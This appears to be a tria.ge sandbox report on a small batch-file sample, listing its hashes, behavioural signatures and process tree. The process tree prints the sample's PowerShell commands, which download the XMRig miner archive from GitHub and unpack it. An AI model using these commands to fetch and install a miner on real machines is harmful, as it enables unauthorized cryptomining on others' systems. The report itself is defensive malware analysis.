Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
11.bat
windows7-x64
1010.bat
windows7-x64
1011.bat
windows7-x64
1012.bat
windows7-x64
1013.bat
windows7-x64
1014.bat
windows7-x64
1015.bat
windows7-x64
102.bat
windows7-x64
103.bat
windows7-x64
104.bat
windows7-x64
105.bat
windows7-x64
106.bat
windows7-x64
107.bat
windows7-x64
108.bat
windows7-x64
109.bat
windows7-x64
10Resubmissions
Analysis
-
max time kernel
1560s -
max time network
1560s -
platform
windows7_x64 -
resource
win7-20240419-en -
resource tags
arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system -
submitted
20/05/2024, 18:07
Static task
static1
Behavioral task
behavioral1
Sample
1.bat
Resource
win7-20240215-en
Behavioral task
behavioral2
Sample
10.bat
Resource
win7-20240221-en
Behavioral task
behavioral3
Sample
11.bat
Resource
win7-20240221-en
Behavioral task
behavioral4
Sample
12.bat
Resource
win7-20240508-en
Behavioral task
behavioral5
Sample
13.bat
Resource
win7-20240419-en
Behavioral task
behavioral6
Sample
14.bat
Resource
win7-20240419-en
Behavioral task
behavioral7
Sample
15.bat
Resource
win7-20240419-en
Behavioral task
behavioral8
Sample
2.bat
Resource
win7-20240221-en
Behavioral task
behavioral9
Sample
3.bat
Resource
win7-20240221-en
Behavioral task
behavioral10
Sample
4.bat
Resource
win7-20231129-en
Behavioral task
behavioral11
Sample
5.bat
Resource
win7-20240508-en
Behavioral task
behavioral12
Sample
6.bat
Resource
win7-20231129-en
Behavioral task
behavioral13
Sample
7.bat
Resource
win7-20240221-en
Behavioral task
behavioral14
Sample
8.bat
Resource
win7-20240508-en
Behavioral task
behavioral15
Sample
9.bat
Resource
win7-20240220-en
General
-
Target
13.bat
-
Size
599B
-
MD5
798b979417aa88e5323ead9be2d8425c
-
SHA1
a54c5133c71afddf697f302b36bdb930c72852ce
-
SHA256
f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
-
SHA512
a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b
Malware Config
Extracted
https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip
Signatures
-
Blocklisted process makes network request 2 IoCs
flow pid Process 5 1732 powershell.exe 6 1732 powershell.exe -
pid Process 1732 powershell.exe 2748 powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1732 powershell.exe 2748 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1732 powershell.exe Token: SeDebugPrivilege 2748 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2248 wrote to memory of 1732 2248 cmd.exe 29 PID 2248 wrote to memory of 1732 2248 cmd.exe 29 PID 2248 wrote to memory of 1732 2248 cmd.exe 29 PID 2248 wrote to memory of 2748 2248 cmd.exe 30 PID 2248 wrote to memory of 2748 2248 cmd.exe 30 PID 2248 wrote to memory of 2748 2248 cmd.exe 30
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\13.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2248 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1732
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2748
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5442729957178127f04829a6c1d49e137
SHA19efe9486c46ca3684ec3467c6ba026b63bee696c
SHA2565acd769bfefdc57af9ab67a0b23726aa51db755a2fbfe890ba98f53a8acaf8be
SHA512ab3174dbeee6aed5e26e835a7d2070d96aa182cf34c9f3f60ee0438bb97b9d485431a9021fa12c31a56ff789d0f47be3778a455395f151d49ed39ec10436f2cd